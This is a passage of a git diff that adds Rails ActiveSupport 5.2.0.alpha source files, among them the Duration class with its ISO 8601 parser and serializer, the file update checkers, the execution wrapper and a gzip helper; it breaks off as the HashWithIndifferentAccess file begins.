@@ -0,0 +1,422 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/array/conversions"
+require_relative "core_ext/module/delegation"
+require_relative "core_ext/object/acts_like"
+require_relative "core_ext/string/filters"
+require_relative "deprecation"
+
+module ActiveSupport
+  # Provides accurate date and time measurements using Date#advance and
+  # Time#advance, respectively. It mainly supports the methods on Numeric.
+  #
+  #   1.month.ago       # equivalent to Time.now.advance(months: -1)
+  class Duration
+    class Scalar < Numeric #:nodoc:
+      attr_reader :value
+      delegate :to_i, :to_f, :to_s, to: :value
+
+      def initialize(value)
+        @value = value
+      end
+
+      def coerce(other)
+        [Scalar.new(other), self]
+      end
+
+      def -@
+        Scalar.new(-value)
+      end
+
+      def <=>(other)
+        if Scalar === other || Duration === other
+          value <=> other.value
+        elsif Numeric === other
+          value <=> other
+        else
+          nil
+        end
+      end
+
+      def +(other)
+        if Duration === other
+          seconds   = value + other.parts[:seconds]
+          new_parts = other.parts.merge(seconds: seconds)
+          new_value = value + other.value
+
+          Duration.new(new_value, new_parts)
+        else
+          calculate(:+, other)
+        end
+      end
+
+      def -(other)
+        if Duration === other
+          seconds   = value - other.parts[:seconds]
+          new_parts = other.parts.map { |part, other_value| [part, -other_value] }.to_h
+          new_parts = new_parts.merge(seconds: seconds)
+          new_value = value - other.value
+
+          Duration.new(new_value, new_parts)
+        else
+          calculate(:-, other)
+        end
+      end
+
+      def *(other)
+        if Duration === other
+          new_parts = other.parts.map { |part, other_value| [part, value * other_value] }.to_h
+          new_value = value * other.value
+
+          Duration.new(new_value, new_parts)
+        else
+          calculate(:*, other)
+        end
+      end
+
+      def /(other)
+        if Duration === other
+          value / other.value
+        else
+          calculate(:/, other)
+        end
+      end
+
+      def %(other)
+        if Duration === other
+          Duration.build(value % other.value)
+        else
+          calculate(:%, other)
+        end
+      end
+
+      private
+        def calculate(op, other)
+          if Scalar === other
+            Scalar.new(value.public_send(op, other.value))
+          elsif Numeric === other
+            Scalar.new(value.public_send(op, other))
+          else
+            raise_type_error(other)
+          end
+        end
+
+        def raise_type_error(other)
+          raise TypeError, "no implicit conversion of #{other.class} into #{self.class}"
+        end
+    end
+
+    SECONDS_PER_MINUTE = 60
+    SECONDS_PER_HOUR   = 3600
+    SECONDS_PER_DAY    = 86400
+    SECONDS_PER_WEEK   = 604800
+    SECONDS_PER_MONTH  = 2629746  # 1/12 of a gregorian year
+    SECONDS_PER_YEAR   = 31556952 # length of a gregorian year (365.2425 days)
+
+    PARTS_IN_SECONDS = {
+      seconds: 1,
+      minutes: SECONDS_PER_MINUTE,
+      hours:   SECONDS_PER_HOUR,
+      days:    SECONDS_PER_DAY,
+      weeks:   SECONDS_PER_WEEK,
+      months:  SECONDS_PER_MONTH,
+      years:   SECONDS_PER_YEAR
+    }.freeze
+
+    PARTS = [:years, :months, :weeks, :days, :hours, :minutes, :seconds].freeze
+
+    attr_accessor :value, :parts
+
+    autoload :ISO8601Parser,     "active_support/duration/iso8601_parser"
+    autoload :ISO8601Serializer, "active_support/duration/iso8601_serializer"
+
+    class << self
+      # Creates a new Duration from string formatted according to ISO 8601 Duration.
+      #
+      # See {ISO 8601}[http://en.wikipedia.org/wiki/ISO_8601#Durations] for more information.
+      # This method allows negative parts to be present in pattern.
+      # If invalid string is provided, it will raise +ActiveSupport::Duration::ISO8601Parser::ParsingError+.
+      def parse(iso8601duration)
+        parts = ISO8601Parser.new(iso8601duration).parse!
+        new(calculate_total_seconds(parts), parts)
+      end
+
+      def ===(other) #:nodoc:
+        other.is_a?(Duration)
+      rescue ::NoMethodError
+        false
+      end
+
+      def seconds(value) #:nodoc:
+        new(value, [[:seconds, value]])
+      end
+
+      def minutes(value) #:nodoc:
+        new(value * SECONDS_PER_MINUTE, [[:minutes, value]])
+      end
+
+      def hours(value) #:nodoc:
+        new(value * SECONDS_PER_HOUR, [[:hours, value]])
+      end
+
+      def days(value) #:nodoc:
+        new(value * SECONDS_PER_DAY, [[:days, value]])
+      end
+
+      def weeks(value) #:nodoc:
+        new(value * SECONDS_PER_WEEK, [[:weeks, value]])
+      end
+
+      def months(value) #:nodoc:
+        new(value * SECONDS_PER_MONTH, [[:months, value]])
+      end
+
+      def years(value) #:nodoc:
+        new(value * SECONDS_PER_YEAR, [[:years, value]])
+      end
+
+      # Creates a new Duration from a seconds value that is converted
+      # to the individual parts:
+      #
+      #   ActiveSupport::Duration.build(31556952).parts # => {:years=>1}
+      #   ActiveSupport::Duration.build(2716146).parts  # => {:months=>1, :days=>1}
+      #
+      def build(value)
+        parts = {}
+        remainder = value.to_f
+
+        PARTS.each do |part|
+          unless part == :seconds
+            part_in_seconds = PARTS_IN_SECONDS[part]
+            parts[part] = remainder.div(part_in_seconds)
+            remainder = (remainder % part_in_seconds).round(9)
+          end
+        end
+
+        parts[:seconds] = remainder
+        parts.reject! { |k, v| v.zero? }
+
+        new(value, parts)
+      end
+
+      private
+
+        def calculate_total_seconds(parts)
+          parts.inject(0) do |total, (part, value)|
+            total + value * PARTS_IN_SECONDS[part]
+          end
+        end
+    end
+
+    def initialize(value, parts) #:nodoc:
+      @value, @parts = value, parts.to_h
+      @parts.default = 0
+    end
+
+    def coerce(other) #:nodoc:
+      if Scalar === other
+        [other, self]
+      else
+        [Scalar.new(other), self]
+      end
+    end
+
+    # Compares one Duration with another or a Numeric to this Duration.
+    # Numeric values are treated as seconds.
+    def <=>(other)
+      if Duration === other
+        value <=> other.value
+      elsif Numeric === other
+        value <=> other
+      end
+    end
+
+    # Adds another Duration or a Numeric to this Duration. Numeric values
+    # are treated as seconds.
+    def +(other)
+      if Duration === other
+        parts = @parts.dup
+        other.parts.each do |(key, value)|
+          parts[key] += value
+        end
+        Duration.new(value + other.value, parts)
+      else
+        seconds = @parts[:seconds] + other
+        Duration.new(value + other, @parts.merge(seconds: seconds))
+      end
+    end
+
+    # Subtracts another Duration or a Numeric from this Duration. Numeric
+    # values are treated as seconds.
+    def -(other)
+      self + (-other)
+    end
+
+    # Multiplies this Duration by a Numeric and returns a new Duration.
+    def *(other)
+      if Scalar === other || Duration === other
+        Duration.new(value * other.value, parts.map { |type, number| [type, number * other.value] })
+      elsif Numeric === other
+        Duration.new(value * other, parts.map { |type, number| [type, number * other] })
+      else
+        raise_type_error(other)
+      end
+    end
+
+    # Divides this Duration by a Numeric and returns a new Duration.
+    def /(other)
+      if Scalar === other
+        Duration.new(value / other.value, parts.map { |type, number| [type, number / other.value] })
+      elsif Duration === other
+        value / other.value
+      elsif Numeric === other
+        Duration.new(value / other, parts.map { |type, number| [type, number / other] })
+      else
+        raise_type_error(other)
+      end
+    end
+
+    # Returns the modulo of this Duration by another Duration or Numeric.
+    # Numeric values are treated as seconds.
+    def %(other)
+      if Duration === other || Scalar === other
+        Duration.build(value % other.value)
+      elsif Numeric === other
+        Duration.build(value % other)
+      else
+        raise_type_error(other)
+      end
+    end
+
+    def -@ #:nodoc:
+      Duration.new(-value, parts.map { |type, number| [type, -number] })
+    end
+
+    def is_a?(klass) #:nodoc:
+      Duration == klass || value.is_a?(klass)
+    end
+    alias :kind_of? :is_a?
+
+    def instance_of?(klass) # :nodoc:
+      Duration == klass || value.instance_of?(klass)
+    end
+
+    # Returns +true+ if +other+ is also a Duration instance with the
+    # same +value+, or if <tt>other == value</tt>.
+    def ==(other)
+      if Duration === other
+        other.value == value
+      else
+        other == value
+      end
+    end
+
+    # Returns the amount of seconds a duration covers as a string.
+    # For more information check to_i method.
+    #
+    #   1.day.to_s # => "86400"
+    def to_s
+      @value.to_s
+    end
+
+    # Returns the number of seconds that this Duration represents.
+    #
+    #   1.minute.to_i   # => 60
+    #   1.hour.to_i     # => 3600
+    #   1.day.to_i      # => 86400
+    #
+    # Note that this conversion makes some assumptions about the
+    # duration of some periods, e.g. months are always 1/12 of year
+    # and years are 365.2425 days:
+    #
+    #   # equivalent to (1.year / 12).to_i
+    #   1.month.to_i    # => 2629746
+    #
+    #   # equivalent to 365.2425.days.to_i
+    #   1.year.to_i     # => 31556952
+    #
+    # In such cases, Ruby's core
+    # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
+    # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+    # date and time arithmetic.
+    def to_i
+      @value.to_i
+    end
+
+    # Returns +true+ if +other+ is also a Duration instance, which has the
+    # same parts as this one.
+    def eql?(other)
+      Duration === other && other.value.eql?(value)
+    end
+
+    def hash
+      @value.hash
+    end
+
+    # Calculates a new Time or Date that is as far in the future
+    # as this Duration represents.
+    def since(time = ::Time.current)
+      sum(1, time)
+    end
+    alias :from_now :since
+    alias :after :since
+
+    # Calculates a new Time or Date that is as far in the past
+    # as this Duration represents.
+    def ago(time = ::Time.current)
+      sum(-1, time)
+    end
+    alias :until :ago
+    alias :before :ago
+
+    def inspect #:nodoc:
+      parts.
+        reduce(::Hash.new(0)) { |h, (l, r)| h[l] += r; h }.
+        sort_by { |unit,  _ | PARTS.index(unit) }.
+        map     { |unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}" }.
+        to_sentence(locale: ::I18n.default_locale)
+    end
+
+    def as_json(options = nil) #:nodoc:
+      to_i
+    end
+
+    # Build ISO 8601 Duration string for this duration.
+    # The +precision+ parameter can be used to limit seconds' precision of duration.
+    def iso8601(precision: nil)
+      ISO8601Serializer.new(self, precision: precision).serialize
+    end
+
+    private
+
+      def sum(sign, time = ::Time.current)
+        parts.inject(time) do |t, (type, number)|
+          if t.acts_like?(:time) || t.acts_like?(:date)
+            if type == :seconds
+              t.since(sign * number)
+            elsif type == :minutes
+              t.since(sign * number * 60)
+            elsif type == :hours
+              t.since(sign * number * 3600)
+            else
+              t.advance(type => sign * number)
+            end
+          else
+            raise ::ArgumentError, "expected a time or date, got #{time.inspect}"
+          end
+        end
+      end
+
+      def respond_to_missing?(method, _)
+        value.respond_to?(method)
+      end
+
+      def method_missing(method, *args, &block)
+        value.public_send(method, *args, &block)
+      end
+
+      def raise_type_error(other)
+        raise TypeError, "no implicit conversion of #{other.class} into #{self.class}"
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/duration/iso8601_parser.rb b/activesupport/lib/active_support/duration/iso8601_parser.rb
new file mode 100644
index 0000000000..14b2c27d82
--- /dev/null
+++ b/activesupport/lib/active_support/duration/iso8601_parser.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+require "strscan"
+require_relative "../core_ext/regexp"
+
+module ActiveSupport
+  class Duration
+    # Parses a string formatted according to ISO 8601 Duration into the hash.
+    #
+    # See {ISO 8601}[http://en.wikipedia.org/wiki/ISO_8601#Durations] for more information.
+    #
+    # This parser allows negative parts to be present in pattern.
+    class ISO8601Parser # :nodoc:
+      class ParsingError < ::ArgumentError; end
+
+      PERIOD_OR_COMMA = /\.|,/
+      PERIOD = ".".freeze
+      COMMA = ",".freeze
+
+      SIGN_MARKER = /\A\-|\+|/
+      DATE_MARKER = /P/
+      TIME_MARKER = /T/
+      DATE_COMPONENT = /(\-?\d+(?:[.,]\d+)?)(Y|M|D|W)/
+      TIME_COMPONENT = /(\-?\d+(?:[.,]\d+)?)(H|M|S)/
+
+      DATE_TO_PART = { "Y" => :years, "M" => :months, "W" => :weeks, "D" => :days }
+      TIME_TO_PART = { "H" => :hours, "M" => :minutes, "S" => :seconds }
+
+      DATE_COMPONENTS = [:years, :months, :days]
+      TIME_COMPONENTS = [:hours, :minutes, :seconds]
+
+      attr_reader :parts, :scanner
+      attr_accessor :mode, :sign
+
+      def initialize(string)
+        @scanner = StringScanner.new(string)
+        @parts = {}
+        @mode = :start
+        @sign = 1
+      end
+
+      def parse!
+        while !finished?
+          case mode
+          when :start
+            if scan(SIGN_MARKER)
+              self.sign = (scanner.matched == "-") ? -1 : 1
+              self.mode = :sign
+            else
+              raise_parsing_error
+            end
+
+          when :sign
+            if scan(DATE_MARKER)
+              self.mode = :date
+            else
+              raise_parsing_error
+            end
+
+          when :date
+            if scan(TIME_MARKER)
+              self.mode = :time
+            elsif scan(DATE_COMPONENT)
+              parts[DATE_TO_PART[scanner[2]]] = number * sign
+            else
+              raise_parsing_error
+            end
+
+          when :time
+            if scan(TIME_COMPONENT)
+              parts[TIME_TO_PART[scanner[2]]] = number * sign
+            else
+              raise_parsing_error
+            end
+
+          end
+        end
+
+        validate!
+        parts
+      end
+
+      private
+
+        def finished?
+          scanner.eos?
+        end
+
+        # Parses number which can be a float with either comma or period.
+        def number
+          PERIOD_OR_COMMA.match?(scanner[1]) ? scanner[1].tr(COMMA, PERIOD).to_f : scanner[1].to_i
+        end
+
+        def scan(pattern)
+          scanner.scan(pattern)
+        end
+
+        def raise_parsing_error(reason = nil)
+          raise ParsingError, "Invalid ISO 8601 duration: #{scanner.string.inspect} #{reason}".strip
+        end
+
+        # Checks for various semantic errors as stated in ISO 8601 standard.
+        def validate!
+          raise_parsing_error("is empty duration") if parts.empty?
+
+          # Mixing any of Y, M, D with W is invalid.
+          if parts.key?(:weeks) && (parts.keys & DATE_COMPONENTS).any?
+            raise_parsing_error("mixing weeks with other date parts not allowed")
+          end
+
+          # Specifying an empty T part is invalid.
+          if mode == :time && (parts.keys & TIME_COMPONENTS).empty?
+            raise_parsing_error("time part marker is present but time part is empty")
+          end
+
+          fractions = parts.values.reject(&:zero?).select { |a| (a % 1) != 0 }
+          unless fractions.empty? || (fractions.size == 1 && fractions.last == @parts.values.reject(&:zero?).last)
+            raise_parsing_error "(only last part can be fractional)"
+          end
+
+          return true
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/duration/iso8601_serializer.rb b/activesupport/lib/active_support/duration/iso8601_serializer.rb
new file mode 100644
index 0000000000..985eac113f
--- /dev/null
+++ b/activesupport/lib/active_support/duration/iso8601_serializer.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/object/blank"
+require_relative "../core_ext/hash/transform_values"
+
+module ActiveSupport
+  class Duration
+    # Serializes duration to string according to ISO 8601 Duration format.
+    class ISO8601Serializer # :nodoc:
+      def initialize(duration, precision: nil)
+        @duration = duration
+        @precision = precision
+      end
+
+      # Builds and returns output string.
+      def serialize
+        parts, sign = normalize
+        return "PT0S".freeze if parts.empty?
+
+        output = "P".dup
+        output << "#{parts[:years]}Y"   if parts.key?(:years)
+        output << "#{parts[:months]}M"  if parts.key?(:months)
+        output << "#{parts[:weeks]}W"   if parts.key?(:weeks)
+        output << "#{parts[:days]}D"    if parts.key?(:days)
+        time = "".dup
+        time << "#{parts[:hours]}H"     if parts.key?(:hours)
+        time << "#{parts[:minutes]}M"   if parts.key?(:minutes)
+        if parts.key?(:seconds)
+          time << "#{sprintf(@precision ? "%0.0#{@precision}f" : '%g', parts[:seconds])}S"
+        end
+        output << "T#{time}" unless time.empty?
+        "#{sign}#{output}"
+      end
+
+      private
+
+        # Return pair of duration's parts and whole duration sign.
+        # Parts are summarized (as they can become repetitive due to addition, etc).
+        # Zero parts are removed as not significant.
+        # If all parts are negative it will negate all of them and return minus as a sign.
+        def normalize
+          parts = @duration.parts.each_with_object(Hash.new(0)) do |(k, v), p|
+            p[k] += v  unless v.zero?
+          end
+          # If all parts are negative - let's make a negative duration
+          sign = ""
+          if parts.values.all? { |v| v < 0 }
+            sign = "-"
+            parts.transform_values!(&:-@)
+          end
+          [parts, sign]
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/evented_file_update_checker.rb b/activesupport/lib/active_support/evented_file_update_checker.rb
new file mode 100644
index 0000000000..97e982eb05
--- /dev/null
+++ b/activesupport/lib/active_support/evented_file_update_checker.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+require "set"
+require "pathname"
+require "concurrent/atomic/atomic_boolean"
+
+module ActiveSupport
+  # Allows you to "listen" to changes in a file system.
+  # The evented file updater does not hit disk when checking for updates
+  # instead it uses platform specific file system events to trigger a change
+  # in state.
+  #
+  # The file checker takes an array of files to watch or a hash specifying directories
+  # and file extensions to watch. It also takes a block that is called when
+  # EventedFileUpdateChecker#execute is run or when EventedFileUpdateChecker#execute_if_updated
+  # is run and there have been changes to the file system.
+  #
+  # Note: Forking will cause the first call to `updated?` to return `true`.
+  #
+  # Example:
+  #
+  #     checker = ActiveSupport::EventedFileUpdateChecker.new(["/tmp/foo"]) { puts "changed" }
+  #     checker.updated?
+  #     # => false
+  #     checker.execute_if_updated
+  #     # => nil
+  #
+  #     FileUtils.touch("/tmp/foo")
+  #
+  #     checker.updated?
+  #     # => true
+  #     checker.execute_if_updated
+  #     # => "changed"
+  #
+  class EventedFileUpdateChecker #:nodoc: all
+    def initialize(files, dirs = {}, &block)
+      unless block
+        raise ArgumentError, "A block is required to initialize an EventedFileUpdateChecker"
+      end
+
+      @ph    = PathHelper.new
+      @files = files.map { |f| @ph.xpath(f) }.to_set
+
+      @dirs = {}
+      dirs.each do |dir, exts|
+        @dirs[@ph.xpath(dir)] = Array(exts).map { |ext| @ph.normalize_extension(ext) }
+      end
+
+      @block      = block
+      @updated    = Concurrent::AtomicBoolean.new(false)
+      @lcsp       = @ph.longest_common_subpath(@dirs.keys)
+      @pid        = Process.pid
+      @boot_mutex = Mutex.new
+
+      if (@dtw = directories_to_watch).any?
+        # Loading listen triggers warnings. These are originated by a legit
+        # usage of attr_* macros for private attributes, but adds a lot of noise
+        # to our test suite. Thus, we lazy load it and disable warnings locally.
+        silence_warnings do
+          begin
+            require "listen"
+          rescue LoadError => e
+            raise LoadError, "Could not load the 'listen' gem. Add `gem 'listen'` to the development group of your Gemfile", e.backtrace
+          end
+        end
+      end
+      boot!
+    end
+
+    def updated?
+      @boot_mutex.synchronize do
+        if @pid != Process.pid
+          boot!
+          @pid = Process.pid
+          @updated.make_true
+        end
+      end
+      @updated.true?
+    end
+
+    def execute
+      @updated.make_false
+      @block.call
+    end
+
+    def execute_if_updated
+      if updated?
+        yield if block_given?
+        execute
+        true
+      end
+    end
+
+    private
+      def boot!
+        Listen.to(*@dtw, &method(:changed)).start
+      end
+
+      def changed(modified, added, removed)
+        unless updated?
+          @updated.make_true if (modified + added + removed).any? { |f| watching?(f) }
+        end
+      end
+
+      def watching?(file)
+        file = @ph.xpath(file)
+
+        if @files.member?(file)
+          true
+        elsif file.directory?
+          false
+        else
+          ext = @ph.normalize_extension(file.extname)
+
+          file.dirname.ascend do |dir|
+            if @dirs.fetch(dir, []).include?(ext)
+              break true
+            elsif dir == @lcsp || dir.root?
+              break false
+            end
+          end
+        end
+      end
+
+      def directories_to_watch
+        dtw = (@files + @dirs.keys).map { |f| @ph.existing_parent(f) }
+        dtw.compact!
+        dtw.uniq!
+
+        normalized_gem_paths = Gem.path.map { |path| File.join path, "" }
+        dtw = dtw.reject do |path|
+          normalized_gem_paths.any? { |gem_path| path.to_s.start_with?(gem_path) }
+        end
+
+        @ph.filter_out_descendants(dtw)
+      end
+
+      class PathHelper
+        def xpath(path)
+          Pathname.new(path).expand_path
+        end
+
+        def normalize_extension(ext)
+          ext.to_s.sub(/\A\./, "")
+        end
+
+        # Given a collection of Pathname objects returns the longest subpath
+        # common to all of them, or +nil+ if there is none.
+        def longest_common_subpath(paths)
+          return if paths.empty?
+
+          lcsp = Pathname.new(paths[0])
+
+          paths[1..-1].each do |path|
+            until ascendant_of?(lcsp, path)
+              if lcsp.root?
+                # If we get here a root directory is not an ascendant of path.
+                # This may happen if there are paths in different drives on
+                # Windows.
+                return
+              else
+                lcsp = lcsp.parent
+              end
+            end
+          end
+
+          lcsp
+        end
+
+        # Returns the deepest existing ascendant, which could be the argument itself.
+        def existing_parent(dir)
+          dir.ascend do |ascendant|
+            break ascendant if ascendant.directory?
+          end
+        end
+
+        # Filters out directories which are descendants of others in the collection (stable).
+        def filter_out_descendants(dirs)
+          return dirs if dirs.length < 2
+
+          dirs_sorted_by_nparts = dirs.sort_by { |dir| dir.each_filename.to_a.length }
+          descendants = []
+
+          until dirs_sorted_by_nparts.empty?
+            dir = dirs_sorted_by_nparts.shift
+
+            dirs_sorted_by_nparts.reject! do |possible_descendant|
+              ascendant_of?(dir, possible_descendant) && descendants << possible_descendant
+            end
+          end
+
+          # Array#- preserves order.
+          dirs - descendants
+        end
+
+        private
+
+          def ascendant_of?(base, other)
+            base != other && other.ascend do |ascendant|
+              break true if base == ascendant
+            end
+          end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/execution_wrapper.rb b/activesupport/lib/active_support/execution_wrapper.rb
new file mode 100644
index 0000000000..fd87d84795
--- /dev/null
+++ b/activesupport/lib/active_support/execution_wrapper.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require_relative "callbacks"
+
+module ActiveSupport
+  class ExecutionWrapper
+    include ActiveSupport::Callbacks
+
+    Null = Object.new # :nodoc:
+    def Null.complete! # :nodoc:
+    end
+
+    define_callbacks :run
+    define_callbacks :complete
+
+    def self.to_run(*args, &block)
+      set_callback(:run, *args, &block)
+    end
+
+    def self.to_complete(*args, &block)
+      set_callback(:complete, *args, &block)
+    end
+
+    RunHook = Struct.new(:hook) do # :nodoc:
+      def before(target)
+        hook_state = target.send(:hook_state)
+        hook_state[hook] = hook.run
+      end
+    end
+
+    CompleteHook = Struct.new(:hook) do # :nodoc:
+      def before(target)
+        hook_state = target.send(:hook_state)
+        if hook_state.key?(hook)
+          hook.complete hook_state[hook]
+        end
+      end
+      alias after before
+    end
+
+    # Register an object to be invoked during both the +run+ and
+    # +complete+ steps.
+    #
+    # +hook.complete+ will be passed the value returned from +hook.run+,
+    # and will only be invoked if +run+ has previously been called.
+    # (Mostly, this means it won't be invoked if an exception occurs in
+    # a preceding +to_run+ block; all ordinary +to_complete+ blocks are
+    # invoked in that situation.)
+    def self.register_hook(hook, outer: false)
+      if outer
+        to_run RunHook.new(hook), prepend: true
+        to_complete :after, CompleteHook.new(hook)
+      else
+        to_run RunHook.new(hook)
+        to_complete CompleteHook.new(hook)
+      end
+    end
+
+    # Run this execution.
+    #
+    # Returns an instance, whose +complete!+ method *must* be invoked
+    # after the work has been performed.
+    #
+    # Where possible, prefer +wrap+.
+    def self.run!
+      if active?
+        Null
+      else
+        new.tap do |instance|
+          success = nil
+          begin
+            instance.run!
+            success = true
+          ensure
+            instance.complete! unless success
+          end
+        end
+      end
+    end
+
+    # Perform the work in the supplied block as an execution.
+    def self.wrap
+      return yield if active?
+
+      instance = run!
+      begin
+        yield
+      ensure
+        instance.complete!
+      end
+    end
+
+    class << self # :nodoc:
+      attr_accessor :active
+    end
+
+    def self.inherited(other) # :nodoc:
+      super
+      other.active = Concurrent::Hash.new
+    end
+
+    self.active = Concurrent::Hash.new
+
+    def self.active? # :nodoc:
+      @active[Thread.current]
+    end
+
+    def run! # :nodoc:
+      self.class.active[Thread.current] = true
+      run_callbacks(:run)
+    end
+
+    # Complete this in-flight execution. This method *must* be called
+    # exactly once on the result of any call to +run!+.
+    #
+    # Where possible, prefer +wrap+.
+    def complete!
+      run_callbacks(:complete)
+    ensure
+      self.class.active.delete Thread.current
+    end
+
+    private
+      def hook_state
+        @_hook_state ||= {}
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/executor.rb b/activesupport/lib/active_support/executor.rb
new file mode 100644
index 0000000000..e6487ba69d
--- /dev/null
+++ b/activesupport/lib/active_support/executor.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require_relative "execution_wrapper"
+
+module ActiveSupport
+  class Executor < ExecutionWrapper
+  end
+end
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
new file mode 100644
index 0000000000..bcf7b9de64
--- /dev/null
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -0,0 +1,163 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/time/calculations"
+
+module ActiveSupport
+  # FileUpdateChecker specifies the API used by Rails to watch files
+  # and control reloading. The API depends on four methods:
+  #
+  # * +initialize+ which expects two parameters and one block as
+  #   described below.
+  #
+  # * +updated?+ which returns a boolean if there were updates in
+  #   the filesystem or not.
+  #
+  # * +execute+ which executes the given block on initialization
+  #   and updates the latest watched files and timestamp.
+  #
+  # * +execute_if_updated+ which just executes the block if it was updated.
+  #
+  # After initialization, a call to +execute_if_updated+ must execute
+  # the block only if there was really a change in the filesystem.
+  #
+  # This class is used by Rails to reload the I18n framework whenever
+  # they are changed upon a new request.
+  #
+  #   i18n_reloader = ActiveSupport::FileUpdateChecker.new(paths) do
+  #     I18n.reload!
+  #   end
+  #
+  #   ActiveSupport::Reloader.to_prepare do
+  #     i18n_reloader.execute_if_updated
+  #   end
+  class FileUpdateChecker
+    # It accepts two parameters on initialization. The first is an array
+    # of files and the second is an optional hash of directories. The hash must
+    # have directories as keys and the value is an array of extensions to be
+    # watched under that directory.
+    #
+    # This method must also receive a block that will be called once a path
+    # changes. The array of files and list of directories cannot be changed
+    # after FileUpdateChecker has been initialized.
+    def initialize(files, dirs = {}, &block)
+      unless block
+        raise ArgumentError, "A block is required to initialize a FileUpdateChecker"
+      end
+
+      @files = files.freeze
+      @glob  = compile_glob(dirs)
+      @block = block
+
+      @watched    = nil
+      @updated_at = nil
+
+      @last_watched   = watched
+      @last_update_at = updated_at(@last_watched)
+    end
+
+    # Check if any of the entries were updated. If so, the watched and/or
+    # updated_at values are cached until the block is executed via +execute+
+    # or +execute_if_updated+.
+    def updated?
+      current_watched = watched
+      if @last_watched.size != current_watched.size
+        @watched = current_watched
+        true
+      else
+        current_updated_at = updated_at(current_watched)
+        if @last_update_at < current_updated_at
+          @watched    = current_watched
+          @updated_at = current_updated_at
+          true
+        else
+          false
+        end
+      end
+    end
+
+    # Executes the given block and updates the latest watched files and
+    # timestamp.
+    def execute
+      @last_watched   = watched
+      @last_update_at = updated_at(@last_watched)
+      @block.call
+    ensure
+      @watched = nil
+      @updated_at = nil
+    end
+
+    # Execute the block given if updated.
+    def execute_if_updated
+      if updated?
+        yield if block_given?
+        execute
+        true
+      else
+        false
+      end
+    end
+
+    private
+
+      def watched
+        @watched || begin
+          all = @files.select { |f| File.exist?(f) }
+          all.concat(Dir[@glob]) if @glob
+          all
+        end
+      end
+
+      def updated_at(paths)
+        @updated_at || max_mtime(paths) || Time.at(0)
+      end
+
+      # This method returns the maximum mtime of the files in +paths+, or +nil+
+      # if the array is empty.
+      #
+      # Files with a mtime in the future are ignored. Such abnormal situation
+      # can happen for example if the user changes the clock by hand. It is
+      # healthy to consider this edge case because with mtimes in the future
+      # reloading is not triggered.
+      def max_mtime(paths)
+        time_now = Time.now
+        max_mtime = nil
+
+        # Time comparisons are performed with #compare_without_coercion because
+        # AS redefines these operators in a way that is much slower and does not
+        # bring any benefit in this particular code.
+        #
+        # Read t1.compare_without_coercion(t2) < 0 as t1 < t2.
+        paths.each do |path|
+          mtime = File.mtime(path)
+
+          next if time_now.compare_without_coercion(mtime) < 0
+
+          if max_mtime.nil? || max_mtime.compare_without_coercion(mtime) < 0
+            max_mtime = mtime
+          end
+        end
+
+        max_mtime
+      end
+
+      def compile_glob(hash)
+        hash.freeze # Freeze so changes aren't accidentally pushed
+        return if hash.empty?
+
+        globs = hash.map do |key, value|
+          "#{escape(key)}/**/*#{compile_ext(value)}"
+        end
+        "{#{globs.join(",")}}"
+      end
+
+      def escape(key)
+        key.gsub(",", '\,')
+      end
+
+      def compile_ext(array)
+        array = Array(array)
+        return if array.empty?
+        ".{#{array.join(",")}}"
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb
new file mode 100644
index 0000000000..2a7ef2f820
--- /dev/null
+++ b/activesupport/lib/active_support/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # Returns the version of the currently loaded Active Support as a <tt>Gem::Version</tt>.
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb
new file mode 100644
index 0000000000..7ffa6d90a2
--- /dev/null
+++ b/activesupport/lib/active_support/gzip.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require "zlib"
+require "stringio"
+
+module ActiveSupport
+  # A convenient wrapper for the zlib standard library that allows
+  # compression/decompression of strings with gzip.
+  #
+  #   gzip = ActiveSupport::Gzip.compress('compress me!')
+  #   # => "\x1F\x8B\b\x00o\x8D\xCDO\x00\x03K\xCE\xCF-(J-.V\xC8MU\x04\x00R>n\x83\f\x00\x00\x00"
+  #
+  #   ActiveSupport::Gzip.decompress(gzip)
+  #   # => "compress me!"
+  module Gzip
+    class Stream < StringIO
+      def initialize(*)
+        super
+        set_encoding "BINARY"
+      end
+      def close; rewind; end
+    end
+
+    # Decompresses a gzipped string.
+    def self.decompress(source)
+      Zlib::GzipReader.wrap(StringIO.new(source), &:read)
+    end
+
+    # Compresses a string using gzip.
+    def self.compress(source, level = Zlib::DEFAULT_COMPRESSION, strategy = Zlib::DEFAULT_STRATEGY)
+      output = Stream.new
+      gz = Zlib::GzipWriter.new(output, level, strategy)
+      gz.write(source)
+      gz.close
+      output.string
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
new file mode 100644
index 0000000000..44e95f58a1
--- /dev/null
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -0,0 +1,358 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/hash/keys"
+require_relative "core_ext/hash/reverse_merge"
+
+module ActiveSupport
